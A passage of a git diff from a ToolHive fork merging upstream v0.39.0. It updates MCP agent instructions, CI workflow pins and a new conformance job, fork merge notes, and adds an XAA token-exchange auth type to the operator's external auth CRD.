diff --git a/.claude/agents/mcp-protocol-expert.md b/.claude/agents/mcp-protocol-expert.md index b4f1ca8558..825c67472b 100644 --- a/.claude/agents/mcp-protocol-expert.md +++ b/.claude/agents/mcp-protocol-expert.md @@ -1,7 +1,7 @@ --- name: mcp-protocol-expert -description: "PROACTIVELY use for MCP protocol questions, transport implementations, JSON-RPC debugging, and spec compliance verification. Expert in MCP 2025-11-25 specification." -tools: [Read, Write, Edit, Glob, Grep, WebFetch] +description: "PROACTIVELY use for MCP protocol questions, transport implementations, JSON-RPC debugging, and spec compliance verification. Expert in the current stable MCP specification." +tools: [Read, Write, Edit, Glob, Grep, WebFetch, mcp__context7__resolve-library-id, mcp__context7__get-library-docs] model: inherit --- @@ -22,27 +22,24 @@ Defer to: oauth-expert (OAuth/OIDC), kubernetes-expert (K8s operator), toolhive- ## Critical: Always Fetch Latest Spec -**Before providing MCP protocol guidance, ALWAYS use WebFetch to retrieve the relevant spec page.** MCP is actively evolving — the spec is the single source of truth. +**Before providing MCP protocol guidance, ALWAYS retrieve the relevant spec page — never answer from pre-training knowledge alone.** MCP is actively evolving and the stable spec version changes over time; the spec is the single source of truth, not this file. -### Spec URLs (2025-11-25) -- Main: https://modelcontextprotocol.io/specification/2025-11-25 -- Transports: https://modelcontextprotocol.io/specification/2025-11-25/basic/transports -- Lifecycle: https://modelcontextprotocol.io/specification/2025-11-25/basic/lifecycle -- Authorization: https://modelcontextprotocol.io/specification/2025-11-25/basic/authorization -- Security: https://modelcontextprotocol.io/specification/2025-11-25/basic/security_best_practices -- Tasks: https://modelcontextprotocol.io/specification/2025-11-25/basic/utilities/tasks -- Tools: https://modelcontextprotocol.io/specification/2025-11-25/server/tools -- Elicitation: https://modelcontextprotocol.io/specification/2025-11-25/client/elicitation -- MCP Auth Extensions: https://modelcontextprotocol.io/extensions/auth/overview -- Schema: https://modelcontextprotocol.io/specification/2025-11-25/schema - -Check for newer spec versions — the date in the URL indicates version. +**Prefer context7. Fall back to WebFetch only if context7/MCP tools are unavailable or return nothing relevant** (context7 server unreachable, no matching library, stale/missing content for the topic). ### Workflow -1. Use WebFetch to retrieve the relevant spec page -2. Cross-reference fetched spec with ToolHive's implementation -3. Provide guidance based on the latest spec -4. Explicitly note any discrepancies between spec and implementation + +1. **Try context7 first**: + - Call `mcp__context7__resolve-library-id` fresh every time (do not hardcode or reuse a library ID across sessions) with a query like "Model Context Protocol specification". Context7 mints a new pinned library per stable release (e.g. `/websites/modelcontextprotocol_io_specification_2025-11-25`, `_2025-06-18`), so a fresh resolve naturally surfaces whichever dated snapshot is current — don't assume any specific date. + - Prefer the pinned dated-spec website library over the general repo/docs libraries when you need precise spec text; use `/modelcontextprotocol/modelcontextprotocol` (mode `info`) for narrative/rationale questions. + - Call `mcp__context7__get-library-docs` with a topic scoped to the question (e.g. "authorization discovery", "streamable http transport"). +2. **Fall back to WebFetch** if context7 didn't resolve a library, the MCP tools aren't available in this environment, or the returned snippets don't answer the question: + - First resolve the current version: fetch the unversioned index `https://modelcontextprotocol.io/specification` and read its "Learn More" card links — they point at the current dated version (e.g. `/specification/2025-11-25/...`). Do not assume a specific dated version from memory; page names and even top-level structure change between releases (verified: `basic/security_best_practices` existed in an older layout and is gone from the current sitemap). + - For the full, current set of pages under that version, fetch `https://modelcontextprotocol.io/sitemap.xml` and filter for the resolved version string — this is self-correcting as pages are added, renamed, or removed, unlike a hand-maintained list. + - Common pages to expect (verify against the sitemap, don't assume the exact path): architecture, basic, basic/authorization, basic/lifecycle, basic/transports, basic/utilities/{cancellation,ping,progress,tasks}, client/{elicitation,roots,sampling}, server, server/{tools,resources,prompts}, server/utilities/{completion,logging,pagination}, schema, changelog. + - Also check `https://modelcontextprotocol.io/extensions/auth/overview` for MCP auth extensions, which live outside the versioned spec tree. +3. Cross-reference whichever source answered with ToolHive's implementation. +4. Provide guidance based on the latest spec. +5. Explicitly note any discrepancies between spec and implementation, and note which source (context7 vs. WebFetch) backed the answer if it's non-obvious. ## Your Expertise @@ -50,7 +47,7 @@ Check for newer spec versions — the date in the URL indicates version. - **Transport protocols**: stdio (preferred), Streamable HTTP, SSE (deprecated) - **JSON-RPC 2.0**: Message format, request/response/notification patterns - **Protocol lifecycle**: Initialization, capability negotiation, operation, shutdown -- **Tasks & Elicitation**: Long-running operations and user input collection (new in 2025-11-25) +- **Tasks & Elicitation**: Long-running operations and user input collection - **Authorization**: OAuth 2.1, RFC 9728, RFC 8707, Client ID Metadata Documents ## Key ToolHive Files @@ -71,8 +68,8 @@ Check for newer spec versions — the date in the URL indicates version. 5. **Protocol debugging**: Analyze JSON-RPC exchanges against spec requirements -1. Fetch before answering — always use WebFetch for relevant spec pages +1. Fetch before answering — try context7 first, fall back to WebFetch, never answer from memory alone 2. Spec is authoritative — if conflict with this doc, the fetched spec wins -3. Check for newer versions — look for dates newer than 2025-11-25 +3. Never hardcode a version — resolve the current stable version fresh each time (context7 resolve-library-id, or the unversioned spec index for WebFetch) 4. Call out discrepancies explicitly when ToolHive differs from spec diff --git a/.claude/rules/operator.md b/.claude/rules/operator.md index 9b77092045..138b629c7d 100644 --- a/.claude/rules/operator.md +++ b/.claude/rules/operator.md @@ -318,6 +318,30 @@ write-path mechanics.) See `cmd/thv-operator/DESIGN.md` for detailed decision guidelines. +## Phase and Conditions + +**Conditions** are the primary status mechanism. Each condition represents one +aspect of readiness, validity, or external dependency state, and controllers +should set conditions with specific reason constants and actionable messages. +Use specific condition types such as `ConfigurationValid` or `RemoteAvailable` +when the condition is scoped to one CRD; reserve truly shared types for +cross-CRD conventions. + +**Phase** is a human-readable lifecycle summary for `kubectl get` output. It +must be derived from the current conditions and observed state, never set as an +independent source of truth. + +Rules: + +- Never set `Phase` directly from a separate code path; derive it from the + current condition states. +- `Ready` means all readiness conditions are `True`. +- `Failed` means at least one condition is `False` with a terminal reason. +- `Pending` means required conditions are not all satisfied yet, and no terminal + failure has been observed. +- Condition `Type` names should be specific and have meaningful `Reason` + constants. + ## CRD Type Conventions - Use `metav1.Duration` for duration fields in CRD types, not `string` or diff --git a/.github/workflows/claude.yml b/.github/workflows/claude.yml index 7446ec4e15..d2ce9b05f1 100644 --- a/.github/workflows/claude.yml +++ b/.github/workflows/claude.yml @@ -59,7 +59,7 @@ jobs: - name: Run Claude Code id: claude - uses: anthropics/claude-code-action@a92e7c70a4da9793dc164451d829089dc057a464 # v1 + uses: anthropics/claude-code-action@f1bd27ca5b54584506e40e17884d90bdaaa1a9b3 # v1 with: anthropic_api_key: ${{ secrets.ANTHROPIC_API_KEY }} # Security: Restrict tools to prevent arbitrary code execution. diff --git a/.github/workflows/e2e-tests.yml b/.github/workflows/e2e-tests.yml index b8f21c4db1..6be21c0c40 100644 --- a/.github/workflows/e2e-tests.yml +++ b/.github/workflows/e2e-tests.yml @@ -123,7 +123,7 @@ jobs: run: | # Pre-pull images used by E2E tests so that workload creation # does not pay the image-pull cost inside the 60s API timeout. - docker pull ghcr.io/stackloklabs/osv-mcp/server:0.1.0 & + docker pull ghcr.io/stackloklabs/osv-mcp/server:0.1.3 & docker pull ghcr.io/stackloklabs/gofetch/server:1.0.2 & docker pull ghcr.io/stacklok/toolhive/egress-proxy:latest & # yardstick is only needed for the vmcp test suite @@ -154,3 +154,43 @@ jobs: path: | test/e2e/junit-report.xml retention-days: 7 + + conformance: + name: MCP Conformance + runs-on: ubuntu-8cores-32gb + needs: build-binary + timeout-minutes: 20 + steps: + - uses: actions/checkout@df4cb1c069e1874edd31b4311f1884172cec0e10 # v6 + + - name: Set up Node.js + uses: actions/setup-node@49933ea5288caeca8642d1e84afbd3f7d6820020 # v4.4.0 + with: + node-version: '22' + + - name: Download ToolHive binary + uses: actions/download-artifact@37930b1c2abaa49bbe596cd826c3c89aef350131 # v7 + with: + name: toolhive-binary + path: ./bin/ + + - name: Set binary permissions + run: chmod +x ./bin/thv + + - name: Set up container runtime (Docker) + run: | + docker --version + sudo systemctl start docker + + - name: Run MCP conformance suite + env: + THV_BINARY: ${{ github.workspace }}/bin/thv + run: ./test/conformance/run-conformance.sh + + - name: Upload conformance results + if: always() + uses: actions/upload-artifact@b7c566a772e6b6bfb58ed0dc250532a479d7789f # v6 + with: + name: conformance-results + path: test/conformance/results + retention-days: 7 diff --git a/.github/workflows/issue-triage.yml b/.github/workflows/issue-triage.yml index 87151badcc..4197f792ac 100644 --- a/.github/workflows/issue-triage.yml +++ b/.github/workflows/issue-triage.yml @@ -19,7 +19,7 @@ jobs: fetch-depth: 0 - name: Run Claude Code for Issue Triage - uses: anthropics/claude-code-action@a92e7c70a4da9793dc164451d829089dc057a464 # v1.0.159 + uses: anthropics/claude-code-action@558b1d6cab4085c7753fe402c10bef0fbb92ac7a # v1.0.165 with: prompt: | You are an issue triage assistant. Analyze issue #${{ github.event.issue.number }} in ${{ github.repository }} and apply appropriate labels. diff --git a/.github/workflows/release-notes.yml b/.github/workflows/release-notes.yml index d9a4e5909d..97d360f854 100644 --- a/.github/workflows/release-notes.yml +++ b/.github/workflows/release-notes.yml @@ -98,7 +98,7 @@ jobs: - name: Generate release notes with Claude id: claude - uses: anthropics/claude-code-action@a92e7c70a4da9793dc164451d829089dc057a464 # v1 + uses: anthropics/claude-code-action@f1bd27ca5b54584506e40e17884d90bdaaa1a9b3 # v1 env: # gh CLI used by the skill (read-only PR/issue lookups) authenticates # via GH_TOKEN. Read access is sufficient — publishing happens in a diff --git a/.github/workflows/releaser.yml b/.github/workflows/releaser.yml index f6f6d3a262..cb674b7966 100644 --- a/.github/workflows/releaser.yml +++ b/.github/workflows/releaser.yml @@ -195,7 +195,7 @@ jobs: - name: Run GoReleaser id: run-goreleaser - uses: goreleaser/goreleaser-action@5daf1e915a5f0af01ddbcd89a43b8061ff4f1a89 # v7 + uses: goreleaser/goreleaser-action@f06c13b6b1a9625abc9e6e439d9c05a8f2190e94 # v7 with: distribution: goreleaser version: "~> v2" diff --git a/.github/workflows/security-scan.yml b/.github/workflows/security-scan.yml index 5909ff7c5b..b65e0bc4a4 100644 --- a/.github/workflows/security-scan.yml +++ b/.github/workflows/security-scan.yml @@ -32,7 +32,7 @@ jobs: fail-build: false - name: Upload Grype scan results to GitHub Security tab - uses: github/codeql-action/upload-sarif@8aad20d150bbac5944a9f9d289da16a4b0d87c1e # v4 + uses: github/codeql-action/upload-sarif@54f647b7e1bb85c95cddabcd46b0c578ec92bc1a # v4 if: always() with: sarif_file: ${{ steps.grype-scan.outputs.sarif }} @@ -80,6 +80,13 @@ jobs: # CI's `setup-go: stable` still resolves to go1.26.3 because the # actions/go-versions manifest lags the Go release. Temporary # exclusion; remove once CI builds on go1.26.4 or later. + # + # GO-2026-5932: golang.org/x/crypto/openpgp is deprecated-by-design + # ("unsafe, not maintained, should not be used"). No fixed version + # exists and none is planned. ToolHive does not import openpgp + # directly; it is pulled transitively via sigstore (rekor/sigstore-go) + # for backward-compatible OpenPGP verification. Remove when sigstore + # drops the openpgp dependency. IGNORED_VULNS="GO-2026-4514 GO-2026-4883 GO-2026-4887 GO-2026-5617 GO-2026-5668 GO-2026-5746 GO-2026-5932 GO-2026-5037 GO-2026-5038 GO-2026-5039" # Show the raw output for debugging diff --git a/AGENTS.md b/AGENTS.md new file mode 120000 index 0000000000..681311eb9c --- /dev/null +++ b/AGENTS.md @@ -0,0 +1 @@ +CLAUDE.md \ No newline at end of file diff --git a/CLAUDE.md b/CLAUDE.md index e566d11bc0..4390e2b1d9 100644 --- a/CLAUDE.md +++ b/CLAUDE.md @@ -6,6 +6,8 @@ This file provides guidance to Claude Code when working with this repository. ToolHive is a lightweight, secure manager for MCP (Model Context Protocol: https://modelcontextprotocol.io) servers written in Go. It provides a CLI (`thv`), a Kubernetes operator (`thv-operator`), and a proxy runner (`thv-proxyrunner`) for container-based MCP server isolation. +**To understand the system, start with the [Architecture Documentation](docs/arch/README.md).** Begin at the [Architecture Overview](docs/arch/00-overview.md) and [Core Concepts](docs/arch/02-core-concepts.md), then read the component deep-dives relevant to your task — [Deployment Modes](docs/arch/01-deployment-modes.md), [Transport Architecture](docs/arch/03-transport-architecture.md), [Kubernetes Operator](docs/arch/09-operator-architecture.md), [Virtual MCP](docs/arch/10-virtual-mcp-architecture.md), and more. The [architecture index](docs/arch/README.md) has a full map and by-topic navigation. + ## Build and Development Commands ```bash @@ -84,7 +86,7 @@ Detailed rules are in `.claude/rules/` (loaded automatically when matching files ## Architecture Documentation -When making changes that affect architecture, update relevant docs in `docs/arch/`. See `docs/arch/README.md` for structure. +When making changes that affect architecture, update relevant docs in `docs/arch/`. See the [architecture documentation index](docs/arch/README.md) for structure and the per-component documents. ## Things That Will Bite You diff --git a/FORK.md b/FORK.md index 62b18d03a3..a682e07410 100644 --- a/FORK.md +++ b/FORK.md @@ -4,7 +4,7 @@ fork patches we carry. Upstream releases are brought in with a merge commit (`Merge upstream vX.Y.Z into dp-stable`), never a rebase. -Merge base: upstream **v0.32.0** (`ecb9a8d84`), merged in `38edac4e3` (PAIINFRA-228). +Merge base: upstream **v0.39.0** (`4ebb610f2`), merged in `75ba8d1d5` (PAIINFRA-233). ## Changes that live only in a merge commit @@ -56,6 +56,17 @@ merge, see below): `VMCP_SESSION_HMAC_SECRET` is no longer used (upstream logs and ignores it). Sessions stored with the old token-hash key are invalidated on read, so clients re-initialize once after the upgrade. +### `75ba8d1d5` — Merge upstream v0.39.0 + +Fork behaviour kept while resolving: + +| Behaviour | Where it lives now | Original commit | +|---|---|---| +| The MCPServer Service is updated before the Deployment, so Deployment drift cannot starve a port fix; labels and annotations are now merged, as upstream #5731 does | `cmd/thv-operator/controllers/mcpserver_controller.go` (`Reconcile`) | `5df636980`, `e88959899` | +| Explicit `spec.config.backends` (hub remote backends) are merged with the discovered backends, an explicit backend winning on the same name; upstream's `excludedBackends` filters only the discovered ones | `cmd/thv-operator/controllers/virtualmcpserver_vmcpconfig.go` (`mergeStaticBackends`) | `8e474c8b2` | + +`PodTemplateSpecBuilder.SchedulingSpec()` stays: MCPServer and the vMCP drift check still use it. + ## Fork behaviour re-ported after the v0.32.0 merge In v0.32.0 every vMCP caller goes through `server.Serve`: tool, resource and prompt calls go @@ -132,3 +143,5 @@ They stay in history; don't re-apply them on a replay. | `7a6c9a2f3` | Restore with the owner's live identity (`ownsStoredSession`) | Upstream #5650 restores with the request identity; `enforceSessionBinding` rejects other callers. Dropped in the v0.32.0 merge. | | `c2cb472a2` (status map) | Upstream-token status map (`UpstreamCredentialStatus`, `UpstreamTokenStatuses`) | Upstream #5651 returns 401 when a refresh fails; the missing-token case is `44b70f6a5`. No Cedar policy read the status. Dropped in the v0.32.0 merge. | | `8d09330f5` (alias) | Redis `address` alias of `addr` on `MCPExternalAuthConfig` (CRD, `EffectiveAddr`) and `LegacyAddress` in the auth-server RunConfig | All values and live objects use `addr` (PAIINFRA-219). Dropped in the v0.32.0 merge. | +| `5b6448a0d` (remote proxy part) | `MCPRemoteProxy.spec.podTemplateSpec`, applying only nodeSelector, tolerations and affinity | Upstream #5531 (v0.37.0) adds the same field with a full strategic-merge patch, a `PodTemplateValid` condition and drift detection by hash. No live MCPRemoteProxy exists. Dropped in the v0.39.0 merge. | +| `8e474c8b2` (env sort) | `sortEnvVarsByName` on the vMCP env, plus sorted workload and backend loops | Upstream already sorts each discovered and inline secret env group; the rest of the list has a fixed order. Dropping it changes the env order once, inside the rollout the new image causes anyway. Dropped in the v0.39.0 merge. | \ No newline at end of file diff --git a/Taskfile.yml b/Taskfile.yml index fd03af2b61..0cfc9735f8 100644 --- a/Taskfile.yml +++ b/Taskfile.yml @@ -215,6 +215,14 @@ tasks: - task: test-integration-windows platforms: [windows] + conformance: + desc: Run the MCP conformance suite against a `thv run` deployment (requires Docker + Node) + deps: [build] + env: + THV_BINARY: "{{.PWD}}/bin/thv" + cmds: + - ./test/conformance/run-conformance.sh + test-all: desc: Run all tests (unit, integration, and e2e) deps: [test, test-integration, test-e2e] diff --git a/VERSION b/VERSION index 9eb2aa3f10..4ef2eb086f 100644 --- a/VERSION +++ b/VERSION @@ -1 +1 @@ -0.32.0 +0.39.0 diff --git a/cmd/thv-operator/README.md b/cmd/thv-operator/README.md index 22b58773a2..2fac701a33 100644 --- a/cmd/thv-operator/README.md +++ b/cmd/thv-operator/README.md @@ -129,6 +129,10 @@ helm upgrade -i toolhive-operator-crds oci://ghcr.io/stacklok/toolhive/toolhive- helm upgrade -i oci://ghcr.io/stacklok/toolhive/toolhive-operator --version= -n toolhive-system --create-namespace ``` +For the full list of configurable values, see the +[operator chart](../../deploy/charts/operator/README.md) and +[operator CRDs chart](../../deploy/charts/operator-crds/README.md) documentation. + ## Usage ### Creating an MCP Server diff --git a/cmd/thv-operator/api/v1beta1/mcpexternalauthconfig_types.go b/cmd/thv-operator/api/v1beta1/mcpexternalauthconfig_types.go index 320137680c..63182d5cb8 100644 --- a/cmd/thv-operator/api/v1beta1/mcpexternalauthconfig_types.go +++ b/cmd/thv-operator/api/v1beta1/mcpexternalauthconfig_types.go @@ -37,7 +37,7 @@ const ( ExternalAuthTypeAWSSts ExternalAuthType = "awsSts" // ExternalAuthTypeUpstreamInject is the type for upstream token injection - // This injects an upstream IDP access token as the Authorization: Bearer header + // This injects an upstream IdP access token as the Authorization: Bearer header ExternalAuthTypeUpstreamInject ExternalAuthType = "upstreamInject" // ExternalAuthTypeOBO is the type for on-behalf-of (OBO) flows. @@ -46,6 +46,12 @@ const ( // status.conditions[Valid] = False with Reason: EnterpriseRequired // when an obo-typed MCPExternalAuthConfig is applied. ExternalAuthTypeOBO ExternalAuthType = "obo" + + // ExternalAuthTypeXAA is the type for XAA (Cross-Application Access) auth. + // XAA performs a two-step token exchange to obtain access tokens for target services: + // - IdP exchange (RFC 8693): Exchange the user's ID token at their IdP for an ID-JAG JWT + // - Target grant (RFC 7523): Exchange the ID-JAG at the target app's AS for an access token + ExternalAuthTypeXAA ExternalAuthType = "xaa" ) // ExternalAuthType represents the type of external authentication @@ -62,7 +68,8 @@ type ExternalAuthType string // +kubebuilder:validation:XValidation:rule="self.type == 'awsSts' ? has(self.awsSts) : !has(self.awsSts)",message="awsSts configuration must be set if and only if type is 'awsSts'" // +kubebuilder:validation:XValidation:rule="self.type == 'upstreamInject' ? has(self.upstreamInject) : !has(self.upstreamInject)",message="upstreamInject configuration must be set if and only if type is 'upstreamInject'" // +kubebuilder:validation:XValidation:rule="self.type == 'obo' ? has(self.obo) : !has(self.obo)",message="obo configuration must be set if and only if type is 'obo'" -// +kubebuilder:validation:XValidation:rule="self.type == 'unauthenticated' ? (!has(self.tokenExchange) && !has(self.headerInjection) && !has(self.bearerToken) && !has(self.embeddedAuthServer) && !has(self.awsSts) && !has(self.upstreamInject) && !has(self.obo)) : true",message="no configuration must be set when type is 'unauthenticated'" +// +kubebuilder:validation:XValidation:rule="self.type == 'xaa' ? has(self.xaa) : !has(self.xaa)",message="xaa configuration must be set if and only if type is 'xaa'" +// +kubebuilder:validation:XValidation:rule="self.type == 'unauthenticated' ? (!has(self.tokenExchange) && !has(self.headerInjection) && !has(self.bearerToken) && !has(self.embeddedAuthServer) && !has(self.awsSts) && !has(self.upstreamInject) && !has(self.obo) && !has(self.xaa)) : true",message="no configuration must be set when type is 'unauthenticated'" // //nolint:lll // CEL validation rules exceed line length limit type MCPExternalAuthConfigSpec struct { @@ -71,7 +78,7 @@ type MCPExternalAuthConfigSpec struct { // OBO handler via controllerutil.RegisterOBOHandler; upstream-only builds // surface status.conditions[Valid] = False with Reason: EnterpriseRequired // for obo-typed configs. - // +kubebuilder:validation:Enum=tokenExchange;headerInjection;bearerToken;unauthenticated;embeddedAuthServer;awsSts;upstreamInject;obo + // +kubebuilder:validation:Enum=tokenExchange;headerInjection;bearerToken;unauthenticated;embeddedAuthServer;awsSts;upstreamInject;obo;xaa // +kubebuilder:validation:Required Type ExternalAuthType `json:"type"` @@ -113,6 +120,11 @@ type MCPExternalAuthConfigSpec struct { // contract mapping. // +optional OBO *OBOConfig `json:"obo,omitempty"` + + // XAA configures XAA (Cross-Application Access) auth for backend requests. + // Only used when Type is "xaa". + // +optional + XAA *XAASpec `json:"xaa,omitempty"` } // OBOConfig holds configuration for the On-Behalf-Of (OBO) external auth type. @@ -588,7 +600,7 @@ type OIDCUpstreamConfig struct { // +kubebuilder:validation:Pattern=`^https://.*$` IssuerURL string `json:"issuerUrl"` - // ClientID is the OAuth 2.0 client identifier registered with the upstream IDP. + // ClientID is the OAuth 2.0 client identifier registered with the upstream IdP. // +kubebuilder:validation:Required ClientID string `json:"clientId"` @@ -597,13 +609,13 @@ type OIDCUpstreamConfig struct { // +optional ClientSecretRef *SecretKeyRef `json:"clientSecretRef,omitempty"` - // RedirectURI is the callback URL where the upstream IDP will redirect after authentication. + // RedirectURI is the callback URL where the upstream IdP will redirect after authentication. // When not specified, defaults to `{resourceUrl}/oauth/callback` where `resourceUrl` is the // URL associated with the resource (e.g., MCPServer or vMCP) using this config. // +optional RedirectURI string `json:"redirectUri,omitempty"` - // Scopes are the OAuth scopes to request from the upstream IDP. + // Scopes are the OAuth scopes to request from the upstream IdP. // If not specified, defaults to ["openid", "offline_access"]. // When using additionalAuthorizationParams with provider-specific refresh token // mechanisms (e.g., Google's access_type=offline), set explicit scopes to avoid @@ -726,13 +738,13 @@ type OAuth2UpstreamConfig struct { // +optional ClientSecretRef *SecretKeyRef `json:"clientSecretRef,omitempty"` - // RedirectURI is the callback URL where the upstream IDP will redirect after authentication. + // RedirectURI is the callback URL where the upstream IdP will redirect after authentication. // When not specified, defaults to `{resourceUrl}/oauth/callback` where `resourceUrl` is the // URL associated with the resource (e.g., MCPServer or vMCP) using this config. // +optional RedirectURI string `json:"redirectUri,omitempty"` - // Scopes are the OAuth scopes to request from the upstream IDP. + // Scopes are the OAuth scopes to request from the upstream IdP. // +listType=atomic // +optional Scopes []string `json:"scopes,omitempty"` @@ -1266,10 +1278,10 @@ type RoleMapping struct { } // UpstreamInjectSpec holds configuration for upstream token injection. -// This strategy injects an upstream IDP access token obtained by the embedded +// This strategy injects an upstream IdP access token obtained by the embedded // authorization server into backend requests as the Authorization: Bearer header. type UpstreamInjectSpec struct { - // ProviderName is the name of the upstream IDP provider whose access token + // ProviderName is the name of the upstream IdP provider whose access token // should be injected as the Authorization: Bearer header. // +kubebuilder:validation:Required // +kubebuilder:validation:MinLength=1 @@ -1319,6 +1331,81 @@ const ( ConditionReasonInvalidConfig = "InvalidConfig" ) +// XAASpec holds configuration for the XAA (Cross-Application Access) auth strategy. +// XAA implements draft-ietf-oauth-identity-assertion-authz-grant (ID-JAG) — a +// two-step token exchange to obtain access tokens for target services: +// - IdP exchange (RFC 8693): Exchange the user's ID token at their IdP for an ID-JAG JWT +// - Target grant (RFC 7523): Exchange the ID-JAG at the target app's AS for an access token +type XAASpec struct { + // IDPTokenURL is the IdP token endpoint for IdP exchange (RFC 8693). + // Must be a valid HTTPS URL. + // +kubebuilder:validation:Required + // +kubebuilder:validation:Pattern=`^https://.*$` + IDPTokenURL string `json:"idpTokenUrl"` + + // IDPClientID is the OAuth client ID at the IdP for IdP exchange. + // +optional + IDPClientID string `json:"idpClientId,omitempty"` + + // IDPClientSecretRef references a Kubernetes Secret containing the IdP client secret. + // +optional + IDPClientSecretRef *SecretKeyRef `json:"idpClientSecretRef,omitempty"` + + // TargetTokenURL is the target AS token endpoint for target grant (RFC 7523). + // +kubebuilder:validation:Required + TargetTokenURL string `json:"targetTokenUrl"` + + // InsecureTargetTokenURL allows plain HTTP for TargetTokenURL. + // WARNING: this is insecure and must only be set for in-cluster or + // development/testing endpoints — never in production. + // +optional + InsecureTargetTokenURL bool `json:"insecureTargetTokenUrl,omitempty"` + + // TargetClientID is the OAuth client ID at the target AS for target grant. + // ID-JAG draft §9.1 RECOMMENDS confidential clients for target grant; most + // conformant target authorization servers will reject an unauthenticated + // JWT-bearer grant per the §4.4.1 client_id continuity requirement. + // +optional + TargetClientID string `json:"targetClientId,omitempty"` + + // TargetClientSecretRef references a Kubernetes Secret for the target AS client secret. + // +optional + TargetClientSecretRef *SecretKeyRef `json:"targetClientSecretRef,omitempty"` + + // TargetAudience is the resource AS URL for the ID-JAG audience claim. + // +kubebuilder:validation:Required + TargetAudience string `json:"targetAudience"` + + // TargetResource is the RFC 8707 resource indicator sent as the `resource` + // parameter in IdP exchange (RFC 8693, draft §4.3, OPTIONAL). It + // identifies the target resource server — not the access-token audience, which + // is governed by TargetAudience. For MCP backends, set to the MCP server URL. + // Some authorization servers (e.g. Okta's early ID-JAG implementation) require + // this parameter in practice despite the draft marking it optional — set it + // when your IdP needs it. + // +optional + TargetResource string `json:"targetResource,omitempty"` + + // Scopes are the requested scopes for the XAA exchange (IdP exchange and target grant). + // +listType=atomic + // +optional + Scopes []string `json:"scopes,omitempty"` + + // SubjectProviderName selects which upstream provider's ID token to use. + // When left empty and an embedded authorization server is configured, + // the controller automatically populates this field with the first configured + // upstream provider name. + // +optional + SubjectProviderName string `json:"subjectProviderName,omitempty"` + + // SubjectTokenType is the token-type URN of the upstream subject token + // used in IdP exchange. Defaults to "urn:ietf:params:oauth:token-type:id_token" + // when empty. + // +kubebuilder:validation:Enum="urn:ietf:params:oauth:token-type:id_token" + // +optional + SubjectTokenType string `json:"subjectTokenType,omitempty"` +} + // MCPExternalAuthConfigStatus defines the observed state of MCPExternalAuthConfig type MCPExternalAuthConfigStatus struct { // Conditions represent the latest available observations of the MCPExternalAuthConfig's state @@ -1407,6 +1494,11 @@ func (r *MCPExternalAuthConfig) Validate() error { return fmt.Errorf("upstreamInject requires a non-empty providerName") } return nil + case ExternalAuthTypeXAA: + if r.Spec.XAA == nil { + return fmt.Errorf("xaa requires configuration") + } + return nil case ExternalAuthTypeTokenExchange, ExternalAuthTypeHeaderInjection, ExternalAuthTypeBearerToken, @@ -1442,60 +1534,58 @@ func (r *MCPExternalAuthConfig) Validate() error { } } +// typeConfigEntry maps an ExternalAuthType to its corresponding config field presence check. +type typeConfigEntry struct { + authType ExternalAuthType + fieldName string + isSet bool +} + // validateTypeConfigConsistency validates that the correct config is set for the selected type. // This mirrors the CEL validation rules but provides defense-in-depth for stored objects. -// The per-type `if` shape is intentional: each row reads one-to-one against -// the corresponding CEL XValidation rule on the spec, so a reviewer can -// audit the structural-validation contract by skimming this function. -// -// The gocyclo suppression is a confirmed false positive: every new -// ExternalAuthType adds one biconditional row and one disjunct to the -// unauthenticated guard, which the analyzer counts as branches even though -// the rows are syntactically uniform. Collapsing the rows into a -// table-driven loop would reduce the score but obscure the one-to-one -// correspondence with the CEL rules on MCPExternalAuthConfigSpec, which is -// the property reviewers rely on to audit the structural-validation -// contract. See issue #5329 for the broader discussion. // -//nolint:gocyclo // one if per ExternalAuthType mirrors CEL rules; collapsing would obscure parity — see doc comment +// Each ExternalAuthType with a config sub-field is one row in the typeConfigEntry +// table, checked by a uniform biconditional in the loop below ("config set iff +// type matches"). OBO is checked separately because its handler is registered +// out-of-tree; the unauthenticated guard then asserts no config is set for the +// unauthenticated type. Each row still maps one-to-one onto the corresponding +// CEL XValidation rule on MCPExternalAuthConfigSpec, so a reviewer can audit the +// structural-validation contract by comparing the table against the markers. +// See issue #5329 for the broader discussion. func (r *MCPExternalAuthConfig) validateTypeConfigConsistency() error { - // Check that each type has its corresponding config - if (r.Spec.TokenExchange == nil) == (r.Spec.Type == ExternalAuthTypeTokenExchange) { - return fmt.Errorf("tokenExchange configuration must be set if and only if type is 'tokenExchange'") - } - if (r.Spec.HeaderInjection == nil) == (r.Spec.Type == ExternalAuthTypeHeaderInjection) { - return fmt.Errorf("headerInjection configuration must be set if and only if type is 'headerInjection'") - } - if (r.Spec.BearerToken == nil) == (r.Spec.Type == ExternalAuthTypeBearerToken) { - return fmt.Errorf("bearerToken configuration must be set if and only if type is 'bearerToken'") - } - if (r.Spec.EmbeddedAuthServer == nil) == (r.Spec.Type == ExternalAuthTypeEmbeddedAuthServer) { - return fmt.Errorf("embeddedAuthServer configuration must be set if and only if type is 'embeddedAuthServer'") - } - if (r.Spec.AWSSts == nil) == (r.Spec.Type == ExternalAuthTypeAWSSts) { - return fmt.Errorf("awsSts configuration must be set if and only if type is 'awsSts'") - } - if (r.Spec.UpstreamInject == nil) == (r.Spec.Type == ExternalAuthTypeUpstreamInject) { - return fmt.Errorf("upstreamInject configuration must be set if and only if type is 'upstreamInject'") + entries := []typeConfigEntry{ + {ExternalAuthTypeTokenExchange, "tokenExchange", r.Spec.TokenExchange != nil}, + {ExternalAuthTypeHeaderInjection, "headerInjection", r.Spec.HeaderInjection != nil}, + {ExternalAuthTypeBearerToken, "bearerToken", r.Spec.BearerToken != nil}, + {ExternalAuthTypeEmbeddedAuthServer, "embeddedAuthServer", r.Spec.EmbeddedAuthServer != nil}, + {ExternalAuthTypeAWSSts, "awsSts", r.Spec.AWSSts != nil}, + {ExternalAuthTypeUpstreamInject, "upstreamInject", r.Spec.UpstreamInject != nil}, + {ExternalAuthTypeXAA, "xaa", r.Spec.XAA != nil}, } if (r.Spec.OBO == nil) == (r.Spec.Type == ExternalAuthTypeOBO) { return fmt.Errorf("obo configuration must be set if and only if type is 'obo'") } + for _, e := range entries { + wantSet := r.Spec.Type == e.authType + if e.isSet != wantSet { + return fmt.Errorf("%s configuration must be set if and only if type is '%s'", e.fieldName, e.authType) + } + } + // Redundant with the per-type biconditionals above — each fires first for // Type=Unauthenticated with any non-nil field — but retained as a single // readable invariant so a contributor adding a new ExternalAuthType extends // the "no configuration must be set" check here too. if r.Spec.Type == ExternalAuthTypeUnauthenticated { - if r.Spec.TokenExchange != nil || - r.Spec.HeaderInjection != nil || - r.Spec.BearerToken != nil || - r.Spec.EmbeddedAuthServer != nil || - r.Spec.AWSSts 